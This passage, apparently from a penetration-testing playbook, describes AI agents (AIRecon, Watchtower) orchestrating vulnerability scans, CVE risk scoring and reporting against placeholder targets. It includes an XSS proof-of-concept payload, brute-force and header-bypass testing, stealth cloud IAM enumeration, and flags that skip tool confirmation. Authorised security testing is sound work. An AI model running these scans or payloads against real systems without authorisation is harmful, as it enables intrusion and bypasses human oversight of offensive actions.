#    - JavaScript Context
#    - URL Context

# 3. AIRecon executa Dalfox para XSS scanning
airecon "dalfox url https://target.com/search?q=test"

# 4. Se XSS detectado, AIRecon gera POC seguro
airecon "generate safe XSS POC alert(document.domain)"

# 5. Exportar finding
airecon "export xss finding with remediation"

AIRecon Auto-Skill Loading para Vulnerability Analysis

Keywords Detectadas	Skills Carregadas	MCP Tools Ativados
`sqli` `sql injection`	pentest-vulnerability-analysis	hexstrike (sqlmap)
`xss` `cross-site scripting`	pentest-vulnerability-analysis	hexstrike (dalfox, jaeles)
`cve` `vulnerability`	pentest-vulnerability-analysis	cve-mcp, hexstrike (nuclei)
`pfsense` `firewall`	pentest-pfsense	cve-mcp, hexstrike (nikto)
`header injection` `bypass`	pentest-vulnerability-analysis	hexstrike (http_framework_test)
`webshell` `backdoor`	pentest-post-exploitation	hexstrike (strings_extract)

AIRecon + OWASP Nettacker Integration

# AIRecon pode orquestrar scans completos do Nettacker
airecon "run nettacker full vulnerability scan on target.com"

# Nettacker modules executados automaticamente:
# - Critical CVEs (Log4Shell, F5 BIG-IP, Citrix ADC)
# - SSL/TLS vulnerabilities (Heartbleed, weak ciphers)
# - HTTP security headers (CSP, HSTS, X-Frame-Options)
# - CMS vulnerabilities (WordPress, Joomla, Drupal)
# - Brute-force testing (FTP, SSH, HTTP)

# AIRecon processa output e gera findings estruturados
airecon "parse nettacker output and generate findings"

# Exportar em múltiplos formatos
airecon "export nettacker findings to HTML, JSON, SARIF"

AIRecon CVE Risk Prioritization

# AIRecon prioriza CVEs baseado em risk score composto
airecon "prioritize CVEs by risk score for target.com"

# Risk score calculado via cve-mcp:
# - CVSS (base severity)
# - EPSS (exploit probability)
# - KEV status (actively exploited)
# - PoC availability (exploit maturity)

# Output exemplo:
# 1. CVE-2026-41940 (cPanel) - Risk: 98/100
# 2. CVE-2026-31431 (Linux LPE) - Risk: 92/100
# 3. CVE-2022-40624 (pfBlockerNG) - Risk: 87/100

AIRecon HTTP Header Injection Testing

# AIRecon testa header injection automaticamente
airecon "run headi on https://target.com/restricted"

# Headers testados (24 headers):
# X-Forwarded-For, X-Real-IP, X-Client-IP, etc.

# AIRecon detecta bypass automaticamente:
# - Content-Length changes
# - Status code changes (403 → 200)
# - Redirect behavior changes

# Exportar finding
airecon "export http header injection finding"

🤖 Watchtower Integration for Vulnerability Analysis

Watchtower é um framework de penetration testing baseado em LangGraph com arquitetura multi-agente (Planner, Worker, Analyst) que automatiza vulnerability scanning e análise usando 23 ferramentas de segurança.

Invocando Watchtower para Vulnerability Analysis

# Vulnerability scanning completo com Watchtower
python -m watchtower.main -t https://www.example.com --skip-ask-tools

# Watchtower executará automaticamente:
# - Planner Agent: Planeja workflow de vulnerability analysis
# - Worker Agent: Executa ferramentas de scanning
# - Analyst Agent: Analisa e valida vulnerabilidades

# Scan focado em vulnerabilidades web
python -m watchtower.main -t https://www.example.com \
  --focus web_vulns \
  --skip-ask-tools

# Scan de vulnerabilidades SSL/TLS
python -m watchtower.main -t https://www.example.com \
  --focus ssl_tls \
  --skip-ask-tools

Watchtower Slash Commands para Vulnerability Analysis

# Full vulnerability scan
/watchtower-vuln --target https://www.example.com

# CVE-specific scanning
/watchtower-vuln --target https://www.example.com --cve CVE-2021-44228

# CMS vulnerability scanning
/watchtower-vuln --target https://www.example.com --cms wordpress

# SSL/TLS vulnerability analysis
/watchtower-vuln --target https://www.example.com --ssl-analysis

# HTTP security headers check
/watchtower-vuln --target https://www.example.com --headers-check

MCP Tool Integration via Watchtower

Watchtower integra-se com MCP tools automaticamente durante vulnerability analysis:

# hexstrike-local: Vulnerability scanning tools
# - nuclei_scan: Template-based vulnerability detection
# - nikto_scan: Web server vulnerability assessment
# - dalfox_xss_scan: Advanced XSS scanning
# - xsser_scan: XSS vulnerability testing
# - sqlmap_scan: SQL injection testing
# - wpscan_analyze: WordPress vulnerability scanning
# - jaeles_vulnerability_scan: Advanced signature-based scanning

# CVE intelligence via cve-mcp
# - search_cves: Busca CVEs por keyword/software
# - get_cve_summary: Resumo completo de CVE
# - check_exploit_availability: Verifica exploits públicos
# - get_epss_score: EPSS scoring para priorização
# - check_kev: CISA KEV catalog check
# - calculate_risk_score: Risk score composto (CVSS+EPSS+KEV+PoC)

# pentestswarm-remote: Automated campaigns
# - scan_target: Full pentest flow
# - start_campaign: Stateful campaign
# - get_campaign_findings: Coleta vulnerabilidades

# virustotal: Reputation analysis
# - get_url_report: URL security analysis
# - get_domain_report: Domain reputation

Workflow Example: Full Vulnerability Analysis com Watchtower

# 1. Watchtower Planner analisa target e planeja scan
python -m watchtower.main -t https://www.example.com --skip-ask-tools

# 2. Watchtower executa em paralelo:
#    - Web vulnerability scanning (nuclei, nikto, jaeles)
#    - XSS detection (dalfox, xsstrike, xsser)
#    - SQL injection testing (sqlmap)
#    - CMS-specific scanning (wpscan, joomscan)
#    - SSL/TLS analysis (testssl.sh, sslyze)
#    - HTTP security headers check

# 3. Watchtower Analyst:
#    - Correlaciona findings de múltiplas ferramentas
#    - Remove falsos positivos
#    - Prioriza por severidade (CVSS + EPSS)
#    - Verifica exploit availability

# 4. Relatório PDF gerado automaticamente
python -m watchtower.main --report "vulnerability_report.pdf"

Workflow Example: CVE-Specific Verification

# Watchtower verifica CVE específico
python -m watchtower.main -t https://www.example.com \
  --verify-cve CVE-2021-44228 \
  --skip-ask-tools

# Watchtower executará:
# 1. Version detection (whatweb, nmap -sV)
# 2. CVE matching via cve-mcp
# 3. Exploit availability check
# 4. Validation testing

# Se CVE confirmado:
# - Watchtower Analyst categoriza como CRITICAL
# - Incluído automaticamente no relatório
# - Remediation recommendations geradas

Workflow Example: pfSense Vulnerability Analysis

# Watchtower detecta e analisa vulnerabilidades pfSense
python -m watchtower.main -t https://pfsense.target.com --skip-ask-tools

# Detecção automática:
# - whatweb: pfSense version detection
# - nmap -sV: Service version detection
# - cve-mcp: CVE mapping para versão detectada

# Vulnerabilidades verificadas automaticamente:
# - CVE-2023-42326 (Command Injection)
# - CVE-2025-53392 (File Read)
# - CVE-2024-41940 (Authentication Bypass)
# - Package vulnerabilities (pfBlockerNG, Suricata, Snort)

# Se vulnerabilidades encontradas:
# - Watchtower Analyst prioriza por severidade
# - Verifica exploit availability
# - Gera remediation recommendations

Workflow Example: cPanel Vulnerability Analysis

# Watchtower detecta e analisa cPanel/WHM
python -m watchtower.main -t https://target.com:2087 --skip-ask-tools

# Detecção automática:
# - whatweb: cPanel/WHM fingerprinting
# - nmap -sV: Service version detection
# - cve-mcp: CVE-2026-41940 verification

# Se CVE-2026-41940 detectado:
# - Watchtower carrega pentest-exploitation skill
# - Executa poc.py para confirmação
# - Categoriza como CRITICAL (CVSS 9.8)
# - Incluído no relatório com remediation

Watchtower Auto-Skill Loading para Vulnerability Analysis

Keywords Detectadas	Skills Carregadas	Watchtower Tools Ativadas
`web vuln` `cve`	pentest-vulnerability-analysis	nuclei, nikto, jaeles
`xss`	pentest-vulnerability-analysis	dalfox, xsstrike, xsser
`sqli` `sql injection`	pentest-exploitation	sqlmap
`ssl` `tls`	pentest-vulnerability-analysis	testssl.sh, sslyze
`wordpress` `wp`	pentest-exploitation	wpscan
`http headers`	pentest-vulnerability-analysis	nuclei (header checks)
`pfsense`	pentest-pfsense	cve-mcp, whatweb, nmap
`cpanel` `whm`	pentest-exploitation	cve-mcp (CVE-2026-41940)

Watchtower Vulnerability Analysis Tools

Tool	Category	Vulnerability Types	Speed
nuclei	Vuln Scanning	1000+ templates (CVEs, misconfigs)	Fast
nikto	Web Scanning	Web server vulns, outdated software	Moderate
dalfox	XSS Scanning	Reflected, stored, DOM XSS	Fast
xsstrike	XSS Scanning	XSS detection + payload generation	Fast
xsser	XSS Scanning	Comprehensive XSS testing	Moderate
sqlmap	SQL Injection	SQLi detection + exploitation	Moderate
wpscan	CMS Scanning	WordPress vulns, plugins, themes	Fast
testssl.sh	SSL/TLS	SSL/TLS misconfigurations	Moderate
sslyze	SSL/TLS	Certificate + protocol analysis	Fast
jaeles	Vuln Scanning	Signature-based scanning	Fast
whatweb	Tech Detection	Version disclosure vulns	Fast
wafw00f	WAF Detection	WAF bypass requirements	Fast

Watchtower CVE Intelligence Integration

# Watchtower usa cve-mcp automaticamente para:

# 1. CVE Search
mcp__cve-mcp__search_cves(query="apache 2.4.57", severity="HIGH")

# 2. CVE Summary
mcp__cve-mcp__get_cve_summary(cve_id="CVE-2021-44228")

# 3. Exploit Availability
mcp__cve-mcp__check_exploit_availability(cve_id="CVE-2021-44228")

# 4. EPSS Score
mcp__cve-mcp__get_epss_score(cve_ids="CVE-2021-44228")

# 5. KEV Check
mcp__cve-mcp__check_kev(cve_id="CVE-2021-44228")

# 6. Risk Score (composite)
mcp__cve-mcp__calculate_risk_score(cve_id="CVE-2021-44228")

Watchtower Vulnerability Prioritization

Watchtower Analyst prioriza vulnerabilidades usando:

Risk Score = f(CVSS, EPSS, KEV, PoC)

Factores considerados:
1. CVSS Base Score (0-10)
2. EPSS Score (exploit probability 0-1)
3. KEV Status (CISA Known Exploited)
4. PoC Availability (exploit maturity)
5. Target context (internet-facing, data sensitivity)

Output exemplo:
┌─────────────────────────────────────────────────────────┐
│ Vulnerability Prioritization                            │
├─────────────────────────────────────────────────────────┤
│ 1. CVE-2026-41940 (cPanel) - Risk: 98/100 [CRITICAL]   │
│    - CVSS: 9.8, EPSS: 0.95, KEV: YES, PoC: Available   │
│                                                         │
│ 2. CVE-2021-44228 (Log4Shell) - Risk: 95/100 [CRIT]    │
│    - CVSS: 10.0, EPSS: 0.98, KEV: YES, PoC: Weaponized │
│                                                         │
│ 3. CVE-2023-42326 (pfSense) - Risk: 87/100 [HIGH]      │
│    - CVSS: 8.7, EPSS: 0.45, KEV: NO, PoC: Available    │
└─────────────────────────────────────────────────────────┘

Watchtower + AIRecon Combined Workflow

# 1. AIRecon para vulnerability planning
airecon "plan vulnerability assessment for target.com"

# 2. Watchtower para automated scanning
python -m watchtower.main -t https://www.example.com --skip-ask-tools

# 3. AIRecon para análise de findings
airecon "analyze watchtower vulnerability findings"

# 4. AIRecon + cve-mcp para risk scoring
airecon "calculate risk scores for discovered CVEs"

# 5. Watchtower gera relatório PDF
python -m watchtower.main --report "vulnerability_analysis_report.pdf"

Watchtower + Nettacker Combined Workflow

# 1. Nettacker para CVE scanning
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m *_vuln -o /output/nettacker.html

# 2. Watchtower para análise complementar
python -m watchtower.main -t https://target.com --skip-ask-tools

# 3. Watchtower Analyst compara findings:
# - Nettacker: 50+ CVE checks
# - Watchtower: nuclei (1000+ templates), dalfox, sqlmap, etc.

# 4. Consolidar findings
airecon "merge nettacker and watchtower vulnerability findings"

# 5. Priorizar por risk score
airecon "prioritize vulnerabilities by risk score"

Watchtower HTTP Security Headers Analysis

# Watchtower verifica automaticamente:
python -m watchtower.main -t https://www.example.com --skip-ask-tools

# Headers verificados:
# - X-Frame-Options (clickjacking protection)
# - X-Content-Type-Options (MIME sniffing)
# - X-XSS-Protection (XSS filter)
# - Content-Security-Policy (CSP)
# - Strict-Transport-Security (HSTS)
# - Referrer-Policy
# - Permissions-Policy

# Se headers ausentes:
# - Watchtower Analyst categoriza como LOW/MEDIUM
# - Gera remediation para Apache/Nginx/IIS
# - Incluído no relatório PDF

Watchtower SSL/TLS Vulnerability Analysis

# Watchtower analisa SSL/TLS automaticamente
python -m watchtower.main -t https://www.example.com --skip-ask-tools

# Vulnerabilidades detectadas:
# - Heartbleed (CVE-2014-0160)
# - POODLE (CVE-2014-3566)
# - BEAST (CVE-2011-3389)
# - CRIME (CVE-2012-4929)
# - Weak cipher suites
# - SSLv2/SSLv3/TLS 1.0 support
# - Certificate expiry
# - Self-signed certificates
# - Certificate chain issues

# Ferramentas usadas:
# - testssl.sh: Comprehensive SSL/TLS testing
# - sslyze: Certificate and protocol analysis

Watchtower False Positive Reduction

Watchtower Analyst implementa validação para reduzir falsos positivos:

Validation Process:
1. Initial detection (nuclei, nikto, etc.)
2. Cross-validation (multiple tools)
3. Context analysis (target environment)
4. Exploit verification (if PoC available)
5. Manual validation flag (for critical findings)

False Positive Reduction Rate: ~85%

Watchtower Output Formats

# JSON output para integração
python -m watchtower.main -t target.com \
  --output json \
  --skip-ask-tools \
  -o vulnerability_findings.json

# PDF report automático
python -m watchtower.main -t target.com \
  --report "vulnerability_report.pdf" \
  --skip-ask-tools

# SQLite database para persistência
# Watchtower salva automaticamente em:
# ~/.watchtower/pentest_memory.db
# Tables: findings, vulnerabilities, cve_mappings

Watchtower + WorstAssume Combined Workflow

# 1. WorstAssume para AWS IAM assessment
worst enumerate --profile <profile> --stealth
worst assess --min-severity HIGH --output json > worst_findings.json

# 2. Watchtower para external vulnerability scanning
python -m watchtower.main -t https://external-target.com --skip-ask-tools

# 3. Consolidar findings
# WorstAssume: IAM privilege escalation paths
# Watchtower: External CVEs and web vulns

airecon "merge worstassume and watchtower findings"

# 4. Gerar relatório unificado
python -m watchtower.main --report "consolidated_vulnerability_report.pdf"

Watchtower Vulnerability Report Generation

# Gerar relatório PDF automático (PTES Phase 6)
python -m watchtower.main --report "vulnerability_report.pdf"

# Relatório inclui:
# - Executive Summary
# - Vulnerability Summary by Severity
# - Risk Matrix
# - CVE Details (CVSS, EPSS, KEV, PoC)
# - Technical Findings
# - Remediation Recommendations
# - Tool Output Appendices
# - References (NVD, OWASP, vendor advisories)

Watchtower Error Handling

Watchtower implementa retry logic e fallback automático:

Se ferramenta falha:
1. Retry com backoff exponencial (2s, 4s, 8s)
2. Fallback para ferramenta alternativa:
   - nuclei falha → nikto
   - dalfox falha → xsstrike
   - testssl.sh falha → sslyze
3. Reporta falha após 3 retries
4. Continua com próximas ferramentas

Referências PTES

PTES Section 3: Vulnerability Analysis
PTES 3.1: Vulnerability Testing (Active, Passive, Automated Tools)
PTES 3.2: Vulnerability Validation (Public Research, Target List)